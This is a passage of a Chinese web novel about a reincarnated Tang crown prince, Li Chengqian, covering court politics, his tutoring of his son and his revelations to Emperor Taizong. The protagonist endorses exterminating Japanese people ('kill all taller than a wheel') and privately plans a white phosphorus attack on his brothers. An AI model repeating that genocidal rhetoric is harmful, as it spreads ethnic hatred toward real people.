高士廉道:“我这《氏族志》都还没编完,又要我主持调阅地方县志,总结水旱洪涝的规律。还有那个什么区域性、连锁性……乱七八糟的,我听得是迷迷糊糊,到底是跟陛下进言,进言就进言,还不把话说清楚,存心为难人吗?” 岑文本道:“可不是,我现在看到那堆密密麻麻的字,头都疼了。朝廷有十道一百二十六县,一想这《氏族志》结束了一口气不得歇,还要调阅这么多的县志,我……到底谁给陛下上的疏,存心要人老命吗?” 高士廉叹气道:“我这把老骨头,是真的经不起折腾。说到这里,我是真的佩服太子那个干劲儿。早朝参加听政,结束了就去两仪殿排版典籍,咱们去两仪殿参加朝议一心多用,议政的同时还排版典籍。朝议结束,回东宫还整理当天翻出来的字句释义,汇编成册。到底是年轻,年轻就是好啊!” 韦挺道:“你们就别抱怨了,御史原本只负责纠察百官德行,监督税政等,现在我不仅要做好御史本职工作,还要配合吏部跟那一堆县志打交道,我说什么了吗?” 房玄龄道:“士廉公若有疑惑,不知该如何解释区域性、连锁性,不妨等太子殿下病愈,当面请教。” 刚才该吐槽的众大臣,集体陷入沉默。 “房相的意思,这给陛下上疏的人是太子殿下?” 房玄龄点点头,道:“这大半年,太子殿下给人的惊喜实在太多了,除了他我想不到别人会造出这一堆让人听得云里雾里的词了。” 魏征道:“太子上个月才病愈,这会子又病了。年纪轻轻的,身子骨差的不行,还是好静不好动的缘由。我去写一封奏疏,年轻人还是不要用憋在屋里。” 房玄龄、高士廉等人会心一笑,他们是见过太子和魏征师生对喷的,不禁脑补了一出大戏。 下朝换了衣服,李世民只带了张阿难往东宫去。 日上三竿,李承乾才勉强从榻上爬起来,想到昨天和皇帝动手,他只觉得脑抽了。但凡皇帝真的动手,他就可以重开了。 李世民过来时,李承乾已经用过早膳,在崇贤馆删减整理房遗直、魏叔玉他们抄录下来的字句释义。 众人慌忙放下手里的工作,向皇帝见礼,李世民抬手示意众人免礼。 “都回家去,朕和太子有话要说。” 房遗直、魏叔玉、李景恒等人狂喜,父亲上朝他们居家。尉迟宝琳和程处亮几个很是心酸,他们家老爷子不上朝,天天宅家里。 李世民随便找了个地方落座,道:“朕昨日没打你,你怎么像是挨了一顿打?” 李承乾道:“臣好静不好动,昨日一番剧烈运动过后,身体一时不适应,酸痛的厉害。” 说着,他拿起笔继续低头工作。 “父亲,臣好不容易闲一天,你把臣的人都打发走了。他们一走,臣又要一个人在一堆书里头翻了。” 李世民道:“不愿意刚才你倒是说啊!” 李承乾道:“那么多人看着,臣不好驳您的话。” 李世民道:“朕可不是成心的,昨日的事情,朕怕你想不开,过来看看你。他们都在,许多话不好说。” 李承乾道:“父亲的意思,臣明白。” 李世民道:“你说那个预算和决算的事情,今日早朝已经吩咐下去,吏部尚书高士廉,侍郎岑文本负责整理地方县志,总结水旱洪涝等灾害的周期性、季节性、区域性、连锁性等规律。民部尚书马周,核定各县户籍人口,裁决地方报上来的预算。年末就这六天,初七开朝再给他们六日时间,上元节之前朕必须要知道下一年各县的预算。” 李承乾暗道:皇帝这个办事效率,真是够快啊! “反对的大臣,应该不少吧?” 李世民笑道:“动了人家碗里肉,人家当然不肯,朕坚持定下了,其中反对最厉害的萧瑀,被朕贬了职,有一个人做例子,他们反对也只能藏在心里。” 李承乾道:“高士廉没有问什么是周期性、季节性、区域性、连锁性吗?” 李世民笑道:“朕动了怒,他就是心有疑惑,也得压下。” 李承乾听罢,默默抽出一张纸来,将几个新名字词的具体释义都写下来,旋即撑着案子起身,上前递给皇帝。 “高士廉要是问,父亲把这个给他。” 李世民接过来大略扫了一眼,道:“你学的东西,还真不少啊!” 李承乾道:“是挺多的,语文、数学、外语、物理、化学、生物、政治……乱七八糟的一堆。” 李世民来了兴趣,问道:“你挨个同朕说说,这些都是什么东西。” 李承乾拿起笔,指了指案上等待删减的字句释义,道:“这就是语文的一部分。” “你上次造的火器,属于你学的哪一个?” 李承乾道:“从原料成分和爆炸反应看隶属于化学,制作的过程涉及到数学和物理,从用途看算军事,军事是政治的延续。” 李世民又道:“有时间,你把这些都写下来,朕慢慢儿看。” 李承乾抬头看向皇帝,道:“写下来?您认真的?” 李世民顿了一顿,道:“算了,不写了,你告诉朕,你精通哪一个?” 李承乾思索片刻,轮回干得职业太多了,似乎都挺精通的,进入最后一世的学习,把他曾经的经验进化到了科学理论层面。 “都还行!” 李世民气极反笑,看李承乾手上落笔动作不停,能独立进行字典编撰的人,说自己学问还行。 “你可真谦虚啊!朕能冒昧的问一句,你到底经历了什么吗?” 李承乾笑道:“那您真是挺冒昧的。” 第97章 自省 李世民打量着李承乾神色厌厌,又想起他们昨天言语交锋过后又直接动手,此刻李承乾大概也不想和他说话,他只需要知道李承乾不会想不开就行。 “你继续忙你的,朕要去两仪殿议事了。” 李承乾有午休的习惯,送走皇帝之后,他也往内室睡下。 这一觉睡得极沉,一直到黄昏时分,才昏昏沉沉的醒来。 李象从弘文馆回东宫,伺候父亲洗漱起身,道:“阿耶怎么突然又病了?” 李承乾道:“不是病了,身体很久没有剧烈活动过了,一时适应不过来。” 李象收拾殿内乱糟糟的手稿,往常父亲结束两仪殿朝议,回来编撰字典,都是他打下手帮忙,时间久了,他做起这些工作手到擒来。 “阿耶有心事吗?” 李承乾点点头,抬手退了殿内宫人,示意李象上前,坐到自己怀里。 “阿耶梦到了一些从前的事情,心里头很难受。” 李象道:“同阿翁有关吗?” 李承乾道:“同你阿翁没有关系,是我自己做的孽。” 李象道:“阿耶,从前做过的错事吗?” 李承乾揉了揉儿子鬓发,道:“阿耶梦到了贞观十四年后的一些事情,那个时候阿耶披发慕胡,同你阿翁较劲儿。言官上疏说我残暴,我就指挥宫人在东宫扮做突厥人,手持竹竿相互攻打,不许他们停下,有个宫人体力不支倒下,我只以为那是对太子的蔑视,下令将人活活鞭笞至死。” 李象不知该怎么开口,沉默了半晌才道:“阿耶,其实宫里头死个宫人,不是什么大事。” 李承乾顿了一顿,李象这个想法并不意外,在没有轮回到近代,不曾接触过新思潮之前,他也不认为太子打死个宫人是什么大事。 “象儿,你不能有这样的想法,朝廷有朝廷的律法,内廷也有内廷的法度,他们若有过错交付有司,依律处罚。他们有错,我们尚且不可以凭喜恶剥夺他们的性命,何况无过之人?” 李象点点头,道:“儿知道了,所以父亲在为自己过去枉顾法度,草菅人命痛苦?” 李承乾点头道:“是,想到过去的自己,我很是厌恶,觉得恶心,觉得我最后的结局,也是罪有应得,我太情绪化了。” 李象顿了一顿,道:“过往的过错,阿耶已经付出了代价,现在阿耶没有做错事,阿耶将来不要再犯错就行。如果实在过意不去,阿耶找到那个宫人,好好的补偿他。” 李承乾苦笑道:“傻孩子,很多事情,不是说补偿就可以补偿的。不出意外,你将来会被封王,治理一方百姓。阿耶希望你能以阿耶为戒,不要重复阿耶的罪孽,不要因为任何人的看法而任性,将痛苦施加到他人身上。你要永远记住,上位者权力小小的一次任性,带给普通人都是毁灭性的伤害,不要滥用你手里的权力。” 李象道:“儿记住了,阿耶的教导,儿都会牢牢的记在心里。” 李承乾刮了下李象的鼻子,道:“今日功课写得如何?师傅们讲的课,能听懂吗?阿耶这些日子忙,都没时间问你这些。” 李象道:“功课在弘文馆就写完了,师傅们都夸儿,说儿有长进,几位年纪比儿大的叔叔,功课都没有儿写得好,写的快。” 李承乾默了默,年长的叔叔,弘文馆一起上学的还有李治,他万一天不假年,皇帝立李治为嗣君。 一句英果类我,舅甥两个一个唱红脸,一个唱黑脸,直接送了吴王恪“谋反”一条龙服务。 李象在弘文馆处处压李治一头,那个黑芝麻汤圆不事后报复,都不是李为善了。 “你愿不愿意离开弘文馆,同之前阿耶被禁足在东宫一样,阿耶亲自教你。” 李治的智商可不低,让李象藏拙根本行不通,学得好还要胆战心惊,对一个孩子来说太难受了,他也不想让李象承担这个压力。 “什么?”李象双眸瞬间发亮,思索片刻又很快低下头,道:“之前被禁足东宫,阿耶你赋闲,教儿没什么。现在阿耶你那么忙,再教儿阿耶睡觉的时间就更少了。” 李承乾笑道:“你才学多少东西,你阿耶在你这个年纪,光主科就要学三门,还有一堆的副科。给你备课浪费不了我多少时间,你先自学,朝议结束后我再抽出一个时辰的时间教你,稳够。” 能得到父亲亲自教导,于李象而言自是求之不得,父亲懂得很多,他其实都想学,可父亲实在是太忙了。 “可以吗?阿翁能同意吗?” 李承乾道:“你阿翁,他会同意的。” 李象道:“对了,今日阿翁去弘文馆查了功课,九叔、八叔都被骂了,还挨了阿翁的戒尺。只有儿一人得了阿翁夸奖,叔叔们看儿的眼神,儿觉得怪怪的。阿耶,儿是不是做错了什么?” 李承乾听得眉头紧蹙,道:“你没有做错什么,是人心难测。别想那么多,阿耶会尽全力护着你的。” 有心或无意,皇帝已经将他的儿子推入险境,他尚有杀手锏,他长寿能护得住李象和李厥倒也罢了,若不能,真到了天不假年的时候,一颗白磷弹,哪怕是简易版的,李泰和李治就算不死,也生不如死,丧子之痛,他若躲不了,那就让皇帝先尝自己种下的果子。 “弘文馆你不能待了,明儿我同你阿翁去说,你在东宫,从今往后我亲自教导你。” 看父亲严肃的脸色,李象意识到事情不简单,有些后悔自己不该同父亲说这些。 “阿耶身体不适,儿今夜侍疾可好。” 李承乾点了下儿子眉心,道:“阿耶自己就是大夫,有病没病阿耶自己不知道吗?不过,你想留在这里也可以。” 小孩子哪有不粘着父母的,李象母亲早逝,也只能粘着他这个做父亲的。 闻言,李象一头钻到父亲怀里,蹭了又蹭,道:“阿耶,你真好。” 李承乾含笑不语,轻轻拍抚着儿子背心。 幼时的他,也曾如李象一般在爸爸怀里撒娇。 第98章 臣为陛下贺 此前皇帝批了三日假期,眼下李承乾浑身酸痛,肯定是不能去清谈会,正好借机休养三日。 估摸着时间,早朝结束,李承乾往甘露殿拜见皇帝。 “承乾你来的正好,朕有话跟你说。” 李承乾道:“臣也有事情要同父亲商议。” 李世民道:“昨日去弘文馆,查了几个孩子的功课,象儿的进步让朕刮目相看。之前几个孩子里面,象儿是最差的那个,你是怎么把他的功课扶上去的。” 李承乾道:“臣每日都查象儿功课,耐心辅导。” 李世民道:“有时间查功课,看样子,你还是不够忙。” 李承乾愣住,他不够忙? “父亲晚间稍微抽出些空闲,就能查雉奴的功课。” 李世民笑道:“知道为什么朕很少查你们的功课吗?” 李承乾思索片刻,大多数家长辅导功课的现状,父/母呲子哮,血压飙升,皇帝有风疾,血压上去了很危险。 “能理解,查功课是一件十分考验耐性的事情。” 李世民轻笑,道:“看样子,李象的功课你的耐性够用。对了,你过来是为了什么事情?” 李承乾道:“臣想把象儿带在身边教导。” 李世民愣在原地,一时没反应过来。 “承乾,把李象带在身边亲自教导,你要不要听听你再说什么?” 李承乾道:“木秀于林,风必摧之。臣不想他在人前过于显眼,也不愿让他藏拙,挫伤他学习的进取心。思来想去,决定把他带在身边,亲自教导。” “你这是又想把全家流放岭南了?” 李承乾:…… 这个梗是过不去了吗? “人会为年少不可得之物所困,承乾,你把李象当成了你自己,你没有在朕这里得到的一切,一股脑都给了他。他若出自太子妃腹中也就罢了,可他不是,你的宠爱迟早会成为刺向他的利刃。” 李承乾道:“李象今年八岁,太子妃的孩儿尚在腹中,嫡长子出世,李象长他九岁,等嫡长子能够记事启蒙,李象都要娶妻生子,搬出东宫了,他们兄弟二人不会有什么交集,那是时臣全身心扑在嫡长子身上,是一样的。” 李世民笑道:“承乾,朕提醒你一句,一个人的感情本就不多,你用在李象身上的情感太多,将来你和太子妃的孩子,你会觉得乏力,拼尽全力,却仍然无法满足另一个孩子的时候,你的庶长子和你的嫡长子就会起了争端。朕的话,你要好生思量。人有了权柄求一个情,得了情又想要权柄,世间哪有两全之法。” 李承乾觉得莫名其妙,他和李泰都是嫡出,争的是太子之位。李象的出身要身份没身份,要势力没势力,有什么好争的?况且,李象也不愿意争权。 “父亲,我和青雀之间矛盾的源头,是太子之争的生死对决。息隐王在玄武门什么下场,臣可不敢忘。至于父亲的疼爱,或许会想,但在生死面前,不那么重要了。” 李世民心口有些抽痛,低头抿了口茶。 “臣也在反思过往,贞观十四年后,臣胡作非为,被父亲厌恶,满朝文武看臣的笑话,是臣咎由自取。那么从贞观十年到贞观十三年,臣无论是政务还是私德都不曾有疏漏。臣受到来自于朝野的攻讦,又是因为什么?贞观十三年,臣的拜师宴,历史上唯一一个拜师宴,师傅收了拜帖,却直接缺席的太子了。颜面,臣早就没什么颜面了。至于权柄,臣监国他们肯配合不闹事,仰赖父亲您这位镇山太岁,有您压着,他们不敢扰乱朝纲。” 李世民默了片刻,李承乾这是在暗讽过往,自己空有太子之名,实则面子里子什么都没有。 “你终于肯说明话了。” 李承乾道:“父亲不都已经猜到了,又有什么可值得隐瞒的。” 李世民道:“李象的事情,你自己安排。承乾,作为父亲,也是过来人,我明确的告诉你,你对李象的疼爱,是你往后所有孩子倾尽一生都无法从你身上得到的,也是你拼尽全力仍无法给予李象之外任何一个孩子的。” 李承乾心情沉重,他也做过父亲,可过往做父亲的经验,同皇家的复杂情况终究不能比,何况还是以手足相残,同室操戈出名李唐皇族。 皇帝是旁观者清,可他眼下也不能把李象放在弘文馆。万一他天不假年,他绝对不信皇帝会立一个稚儿为储君。李恪是个好苗子,但李恪的出身以及背后江东士族的没落无力,无法支撑李恪对皇位的角逐。从国家的利益看,立李治为嗣君的确是最优解。 “臣决定将象儿挪出弘文馆,也决定等太子妃生了孩儿,臣亲自给他启蒙,从小带在身边亲自教导。” 李世民道:“朕不知道你经历了什么,你的脾气同之前不一样了。你回来快三年了,似乎只对朕发脾气,有两次对外人发脾气还是涉及李象。” “说些正事吧!”李承乾从怀里取出几张纸来,上前递给皇帝道:“您要的地缘关系,以及他关联的其它,臣能想到的都在这上面了,想不到的后续再补充吧!” 李世民道:“前两天带你去检阅玄甲军,朕看你丝毫不惊讶。承乾,你给为父说一句实话,你是不是见过更好的?” 李承乾笑着点头,道:“臣还有幸参军,只不过运气不太好,都死在了战场之上。陛下未曾见过热武器战争,见过之后,冷兵器战争的压迫就没那么强了。” 李世民道:“打的异族人吗?” 李承乾点头,道:“打过,臣见过倭寇踏破国土,从现在的高句丽那块开始沦陷,个把月的时间黄河以东,长江以南,尽数沦陷在倭寇的铁蹄之下,倭寇扬言三个月灭我华夏。父亲可知,我华夏儿郎为保家国,七十万儿郎三个月全部死在一个巴掌大的地方。蜀中十室九空,华夏大地白骨累累,西南一带为了抵御倭寇,连八九岁的娃娃都上了战场。” 李世民道:“那上一次打吐蕃,你为何不提前拿出火器?” 李承乾道:“如果陛下打倭寇或者大食,臣绝对把臣能弄出来的火器全部弄出来,最好打到他们亡国灭种的那种。要臣说,对待倭寇,车轮放平,高过车轮的一律诛杀。打吐蕃就算了,吐蕃在后世归我华夏,不是异族,是同胞。在我华夏被倭寇和海外国家入侵时,他们为了守卫疆土,也曾浴血拼杀。” 李世民很吃惊,道:“还不止一个国家入侵,后世王朝这么废物吗?” 李承乾:…… 李世民又继续追问,道:“你就是这么见识比玄甲军更好的军队?” 李承乾道:“不,敌寇固然嚣张,我华夏还是赢了。臣最后一世所见到的军队,单兵素质同时代的顶尖,也不是任何一个时代可比拟的。” 刚才提到倭寇入侵,李承乾眼睛发红,一副咬牙切齿的模样,现在提到后世军队,李承乾眼底的自豪与骄傲藏都藏不住,李世民有些失落。 “玄甲军在你看来就差成那样?” 李承乾道:“时代不一样,玄甲军在这个时代,单兵素质也是顶尖的。” 李世民道:“什么叫做单兵素质?” “单个士兵的野外作战、生存能力等综合素质,决定因素有军事素质、政治素质、武器装备、战术技能、训练水平等。” 李世民道:“朕看你对兵事还是很熟的。” 李承乾顿了一顿,道:“谈不上熟,我爸爸和妈妈都有读报纸的习惯,他们有很多书,我愿意看,他们愿意教,后来长大了,获取信息的途径更多,稍稍知道些许。” 李世民道:“朕明白了,你是轮回到后世,又不知怎么回事,回到了现在,还保留了每一世轮回的记忆。” 李承乾道:“陛下英明。” “你那边的父母,对你很好吧?” 提到爸爸妈妈,李承乾眼底满是孺慕,道:“他们对我很好,我如今给象儿的,不及他们对我的十中之一。” 李世民心里头不好受,仍然问出了下一句话:“如果现在给你一个机会,你会回去吗?” 提到回去,李承乾双眸瞬间亮了起来,道:“会,会毫不犹豫的回去。” 李世民道:“令尊大人和令堂大人在后世有多大的官儿?” 李承乾道:“我爸爸只是一个地方小吏,算不上官,妈妈是一个高中老师。父亲,您的接受能力是真强,臣起初以为,您知道真相之后,会把臣当做邪祟,用桃树枝把臣烧成灰。” 李世民道:“你这个想法,朕可以断定,你后世的轮回没做过君王。如果你做过,只要你不是个昏君,你就会明白,帝王优先考虑是社稷。如果你可以被替代,找个人替代你也无碍。你这一身远超时代的学识,注定了你不可替代。” 李承乾顿了顿,所以,从前他是工具,一个随时可以被放弃的工具。工具就工具,现在他给自己定位就是工具人。 “一个小吏和教书先生,朕若残暴些,这种人就是蝼蚁,瞧你那没出息的样子,为了那点子儿女情长,连太子之位都不要,真是白瞎了你一身学识和机缘。” 敢骂他爸妈,士可忍孰不可忍,李承乾起身向皇帝行了稽首大礼。 李世民不解,道:“你这是做什么?” “陛下在废黜臣之后择定的储君,迎娶了您的才人为后,将您的儿女扑杀殆尽,李唐宗室也几乎被屠戮干净,还直接篡了李唐神器,成为历史上唯一的女帝。陛下慧眼识珠,选了一位顶好的继承人,臣为陛下贺。” 第99章 极限挑战 李世民原地石化良久,最后沉声问道:“你,没唬朕?” 李承乾道:“臣以爸爸妈妈和象儿起誓,臣方才所言,绝无半句虚言。不然父亲以为,臣为什么求您革除宗籍,从玄武门开始,把同室操戈贯穿王朝始终。你家这个黄本本那不是族谱,是生死簿。” “朕……朕……你个……” 话没说完,李世民吐出一口血来,整个人上半身耷拉在凭几上,有一下没一下的粗喘着气。 李承乾吓得半死,急忙上前查看,殿内就他和皇帝,皇帝是要碰瓷吗? 搭上寸关尺,轻压桡动脉,李承乾心下数了六十秒又算了脉搏跳动的次数,又探了脉搏跳动的强度,不由得心惊,血压偏高,心率太猛了! “张翁!”李承乾赶紧唤来张阿难,道:“去取银针来,快,要快!” 李承乾上前去扶皇帝,道:“走,先去内殿。” 李世民头痛欲裂,心口腾腾直跳,动都不想动,道:“朕难受的很,不想动。” 李承乾扫了一眼殿内,道:“行,反正也没什么外人看着,您不在乎褪衣就行。” “您的心率太快了,血压有些偏高,臣施针先稳住。” “心率和血压又是什么东西?” 李承乾道:“单位时间没心脏跳动的次数叫心率,您这个年纪应该在六十到一百为正常,臣刚才数了您的心率接近一百二了。血压血管内的血液对单位面积血管壁的侧压力,我算不出来,但能估测出高低。” 李世民道:“放心,朕死不了,你不必如此紧张。” 李承乾道:“心率和血压过高容易猝死。” 李世民:…… 皇帝可以驾崩,但不能是被他气死的。 李承乾的手始终没离开李世民的脉搏,时刻关注脉搏跳动的速度。 “你知道的还不少。” 李承乾道:“深呼吸,少说点话,等张翁取银针来。殿内就陛下与臣二人,您要是不明不白驾崩了,臣就解释不清了。” 李世民怒极反笑,道:“你少气朕,朕就长命百岁了。” 李承乾当即想怼回去,可一想皇帝这个心率和血压,生生压下了怼人的冲动。 “对子辱父辱母,父亲,您能泰然处之吗?” 李世民听得更气,道:“你这一声父亲,叫的真是讽刺。” 李承乾道:“您要求的,臣照办而已。您若是不要求了,臣仍称陛下。” 皇帝这心率,又加速了,李承乾脑袋嗡嗡的响。 “我不叫您陛下就是了,您可别再动气了。” “殿下……”张阿难疾步从殿外跑进来,道:“殿下,针来了,您真的要……” 李承乾三步并作两步上前,拿了针囊,道:“伺候陛下宽衣。” 张阿难下意识去看皇帝,李世民自顾去解袍扣,张阿难赶忙上前帮忙,解开上衣。 “张翁,你去把炭盆弄过来。” 李承乾打开针囊,取出银针,先在百会穴落了一针,依次又向风池穴和曲池穴落针,待施完针过后,他搭上皇帝的脉搏,开始默算皇帝的心率。 “臣算心率,您别跟臣说话。” 一刻钟时间过后,皇帝的心率逐渐趋于平和,李承乾默默松了口气。 这个时代忠孝压死人,皇帝被他气死了,他又不是李世民这种马上天子,有绝对的武力威慑。不忠不孝的帽子扣下来,就算有李靖和李世绩护驾,他也很难平稳接过皇权,弄不好,再来一场宗室大乱杀,东宫一家子提前下线。 待皇帝心率彻底稳下来,血压也大致降下来,李承乾这才收了针,整个人如脱力一般。这甘露殿,他以后还是少来为妙。 “您真是吓死臣了。” 李世民打发了张阿难出去,靠在凭几上,闭目养神,道:“你身上可是一堆惊喜等着朕。” “往后您不许骂我爸爸妈妈,我也不气您。” “你个逆子!” 李承乾默默翻了个白眼,皇帝又没把他当儿子,他一个工具人,骂他逆子,合适吗? 李世民紧了紧拳头,却更关注另一个问题。 “青雀这个混账,朕饶不了他。” 李承乾垂眸浅思,看样子皇帝梦到的过往不多,他道:“跟青雀没关系,您自个儿猜去。” 李世民:…… “你去哪儿?” 李承乾道:“回去继续编撰《贞观字典》,查李象功课自学的进度,给他备明日的课。” “你不去两仪殿参加朝议?” 李承乾道:“您不是批了三天假吗?” 李世民道:“朕被你气病了,你不去主持朝议谁去?” 李承乾道:“父亲,那些事情不是臣干得,为什么是臣把您气病了?” 还敢提那些事,李世民怒喝道:“闭嘴!” “臣去就是了,这就去两仪殿,您可千万别动气,您身体经得起,臣可经不起折腾。” 太刺激了,这种极限挑战,他可玩儿不转。 第100章 炫娃 结束一日的牛马日程,李承乾回到东宫,浑身又酸又痛,去崇贤馆之前,他先去丽正殿看望苏氏。 “象儿没去弘文馆上课,殿下给他告假了吗?” 李承乾笑了笑,李象是告假还是往后不去弘文馆,苏氏怎会不知,明知故问,也是怕他疼爱庶长子,威胁到将来嫡长子的地位。 “象儿功课进步太快,把他留在弘文馆,太招风了,我如今在前朝领着要务,东宫经不起风吹。” 苏氏道:“殿下的意思,要把象儿留在东宫,亲自教导?” 李承乾笑道:“不仅是象儿,你我的孩儿,我也会亲自启蒙教导。” 苏氏垂眸,下意识抚摸这小腹,她腹中的孩儿才一个多月,李象在太子面前已经占了先机。 “我知道你的顾虑,象儿成亲之后,我会给他选好封邑,让他去封邑,一年见不了几次。” 苏氏顿了一顿,道:“朝廷规矩如此,妾身没什么顾虑的。” 李承乾笑道:“父母之爱子,则为之计深远。象儿和腹中的这个,我都会为他们计。象儿身后无人,我送他远离是非。这个孩子大义名分和势力,我亲自教导让他承我衣钵。” 苏氏道:“殿下为腹中孩儿取个名字吧?” 李承乾道:“我回去翻翻书,找个好字出来。” 苏氏道:“听说象儿出世时,殿下正在学《道德经》,里面有一句:执大象,天下往。象,道也!妾身也很期待,殿下给腹中孩儿取一个怎样的名字。” 李承乾沉默片刻,道:“我去翻书,会找一个合这个孩子身份的字。” 苏氏道:“要布膳了,殿下留下用膳吧?” 李承乾道:“两仪殿吃了些茶果,还不饿,我去崇贤馆,房遗直他们挑出来的那些字需要整理出来。” 从丽正殿出来,李承乾心事更重,苏氏对他将李象留在身边,已然有了不满。 靠近崇贤馆,他深吸一口气,缓了缓内心的情绪。 “阿耶。” 看到父亲进来,李象起身扑了上来。 李承乾蹲下身子,揉了揉儿子脸蛋,道:“今日功课学的怎么样?” “阿耶备课仔细,儿没有其他困惑,就是算学有些麻烦,废了些时间。” 李承乾点了点头,算学有问题,不奇怪,数学这玩意儿,看天分。 回到位置坐下,看完李象的自学进度,通篇抽查过后,确定李象全部掌握。布置下功课,李承乾继续给李象备第二日的课。 唐朝的教育体系相对比较完善,开设律学、书学、算学等,以培养专业人才,主科目仍然是儒家经典。 李象是皇孙,没有做专业人才的需要,但李承乾觉得数学很重要,备课时充分考虑到了算学。 老父亲突然来这么一遭,李象很愁苦,可他心心念念得来的教导,就算难受,也得咬牙撑下去。 “你要是学的难受,其实不学也可以。” 这个时代,不强求的科目,李承乾并不太愿意施加到李象的身上。他做了皇帝,把李象封到偏远之地,得一个平安。他万一天不假年,一波带走李泰和李治。就他干得这事情,皇帝肯定废了他,李象他们有这么一个老子,和拥有一个谋反的老子差不多,一样可以避祸。 “儿很喜欢,阿耶教的,儿都喜欢。” 李承乾笑而不语,数学看天分,他也不指望李象能学成数学家,有个高中数学水平就行。 估摸着皇帝缓过来能够主事,李承乾第二日继续自己的假期,在崇贤馆进行字典编撰,李象天不亮就起床,应付完之乎者也之后,一头埋进算学。 房遗直、魏叔玉凑上前瞥了一眼,默默地走开了。制考有明算科,但他们入朝为官,不需要走科举。李象是皇孙,不出意外成年就会被封王,不理解李象为什么对算学情有独钟。 崇贤馆众人顿觉天又塌了,讨论政务之余,皇帝就喜欢拿太子的学问跟他们比,导致他们回家之后被自家老爷子各种折腾。再添一个好学的皇孙,他们那位唯恐天下不乱的皇帝,比完儿子比孙子,都不敢想象回家之后自家老爷子的脸色。 李承乾见众人提不起精神,不禁问道:“你们今天怎么回事?一个个的都病殃殃的,活像被人抽了魂。” 魏叔玉道:“殿下知不知道,陛下喜欢和人比儿子?” 李承乾点头,道:“知道,陛下之前经常跟众大臣夸魏王泰学识渊博,藏书丰富,是他诸子之中最为出色的一个。” 房遗直苦笑,魏王泰的文章词藻华美,父亲并不喜这种文章,大抵干实事的人都喜欢策论,所以皇帝夸魏王,父亲并不觉得他们兄弟学问不行。若非魏王泰得皇帝宠爱,父亲是断不会把二郎送去魏王府。 太子擅长的策论,正好符合父亲对他们兄弟的要求,皇帝夸太子,还拿太子的策论问大臣,谁家教子能如天子般成功,真的是苦了他们兄弟,天天被查策论。 魏叔玉道:“殿下您是不知道,上次陛下当着众大臣的面,直接挤兑我家父,说都是一个人教的,殿下好学到睡书房,太子少师会教学生,不会教儿子,然后回去臣就被赶去睡书房了。” “我的天爷,原来睡书房的不止我尉迟宝琳一个人啊!你就说我父亲,他自己大字不识一筐,非要我识字。还有我家那个书房,我好歹能把书名认全,他自己连书名都认不全,该睡书房的到底是谁,真是一点儿数都没有。那书房我都不想说,书架上全是灰,随便抽出一本书,说不定还能看到书虫,真是难为他弄了那么多的书放在那里装文化人。” 程处亮道:“这话你敢不敢当着尉迟叔叔的面说?” 尉迟宝琳道:“你没睡书房?” 程处亮:…… 李德謇有一种劫后余生的感觉,道:“我家老爷子不经常同陛下见面,他对我也没有那么高的期望,能守住家业就行。” 高慎行道:“说到这个我就来气,前天我家老爷子回去就逮着我问什么周期性、区域性、连锁性。你们听过吗?没有吧!他那把年纪都不知道,我肯定也不知道,不知道我也不能睁着眼睛说瞎话吧?然后你们猜怎么着?我父亲黑着脸直接让我滚,我真是有苦无处说。” 李承乾默默不说话,高慎行这无妄之灾,是他间接造成的。 李崇真道:“皇孙学算学这事儿,殿下您可要藏好,这要是陛下再去跟大臣们说自己教导有方,不仅儿子有学识渊博,连孙儿都好学上进。臣等不仅要睡书房,还要被催生孙子了。” 李景恒深以为然的点头,道:“从前盼着家里老爷子上朝,怕休沐,现在是怕他休沐,更怕他上朝。” 魏叔玉道:“可不是,家父上疏不给陛下留面子,陛下拿殿下挤兑家父,那是一点儿余地都不留。殿下是不知道,家父下朝回去之后那个怨气,路过一条狗都要挨上一脚。” 李承乾很无奈,古今父母似乎都对炫娃情有独钟。 第101章 坦白谋反 弘文馆查孩子功课的李世民,扫了一眼没看到李象,不禁叹气,年轻人对自己还是太自信了。 查功课血压和心率会上升,熟悉的晕眩感,李世民拿了两个儿子的功课,顺路过通训门到东宫。 内侍到崇贤馆通报皇帝驾到,参与字典编撰的众人齐刷刷抬头,他们的品级无法求见皇帝,可算是等到皇帝送上门来了。 尉迟宝琳道:“殿下,臣等想要去拜见陛下。” 李承乾笑了笑,这群权贵二代求见皇帝想干什么,他大致猜得出来,照皇帝这么炫下去,这群人的日子只会更加难过。 那群老臣的想法,李承乾十分清楚,当爹的能在天可汗手底下混得风生水起,儿子自然要靠才学在少君手底下混得风生水起,保证家族荣耀。 不巧的是,这一群老臣同他交过手,害怕他们的儿子他看不上,可皇帝眼下又没有易储之心,且以他眼下所展现的才华,他们也知道,除非他造反,否则皇帝不可能易储。 为了家族的荣耀,这群老爷子三叉神经格外敏感,皇帝炫一次娃,他们就要回去鸡娃一遍。 李承乾领着众人,起身往显德殿去迎驾,才走到崇教殿,就同李世民迎面碰上。 众人躬身见礼,李世民大手一挥免礼,径直往崇贤馆去,正要赶人,又想到李承乾编撰字典,需要这些人辅助,上一次把人赶走,李承乾已经怨气冲天了。 想到这里,李世民调转脚步往崇教殿去,道:“诸位郎君先回崇贤馆,朕和太子有话要说。” 魏叔玉实在是怕了家里老爷子那张脸,忙道:“陛下,臣等想求陛下一件事。” 李世民道:“你说!” 尉迟宝琳道:“陛下,您一句话太子好学睡书房,臣等都被家中父亲赶去睡书房了。” 房遗直道:“不仅是睡书房,还有一堆策论问答,答好了还好,答不好………” 李世民看了众人苦大仇深的样子,心下明白,做父亲哪个不望子成龙,别人家成功不可怕,把成功砸在自己脸上不能忍。 他是皇帝,大臣们就是不痛快也只能憋着,又不可能去上疏太子别那么出色,只能回去严格要求自家儿子。 尉迟宝琳道:“陛下,臣是完全随了父亲,能把书名认全都是祖坟冒青烟,非要臣满腹经纶,这简直要臣的命。您就看在家父曾为您守门的情分上,别再刺激家父了,再这么下去,家父就要白发人送臣这个黑发人了。” 李景恒也道:“是啊陛下,臣现在直接是不敢回家。” 魏叔玉道:“皇孙突然对算学情有独钟,父亲本就为臣的终身大事发愁,您可千万别再去跟臣的父亲说皇孙好学,臣怕回去又要被逼着成亲生子了。” 众人深以为然,一个接着一个向李世民诉苦,李世民脸上心疼这一堆子侄,心里乐开了花,又有一个可以挤兑魏征的话题了。 “都回崇贤馆忙去,朕心里有数。” 李承乾看了一眼皇帝,不,皇帝心中没数。 “象儿,把你的功课拿来给阿翁看看。” 李象不确定应不应该听皇祖的,下意识看向父亲。 李承乾皱眉,这孩子对他的依赖性太强了,这么多人面前,这样的行为,就是不给皇帝面子。 “听你阿翁的。” 李象跟着众人回崇贤馆,李承乾跟着皇帝到崇教殿。 “象儿这孩子不知规矩,是臣疏于管教,臣会私下处置的,请父亲莫要动气。” 